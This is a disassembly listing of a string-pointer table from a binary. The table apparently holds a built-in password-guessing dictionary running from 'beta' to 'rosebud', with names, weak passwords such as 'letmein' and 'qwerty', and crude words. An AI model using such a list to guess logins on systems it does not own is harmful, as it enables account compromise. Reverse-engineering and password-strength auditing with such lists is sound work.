aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool_1 ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay_0 ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" off_430050 dd offset aEdges ; DATA XREF: ___:00427B70o ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" off_43005C dd offset aEdition ; DATA XREF: ___:off_427A0Co ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud 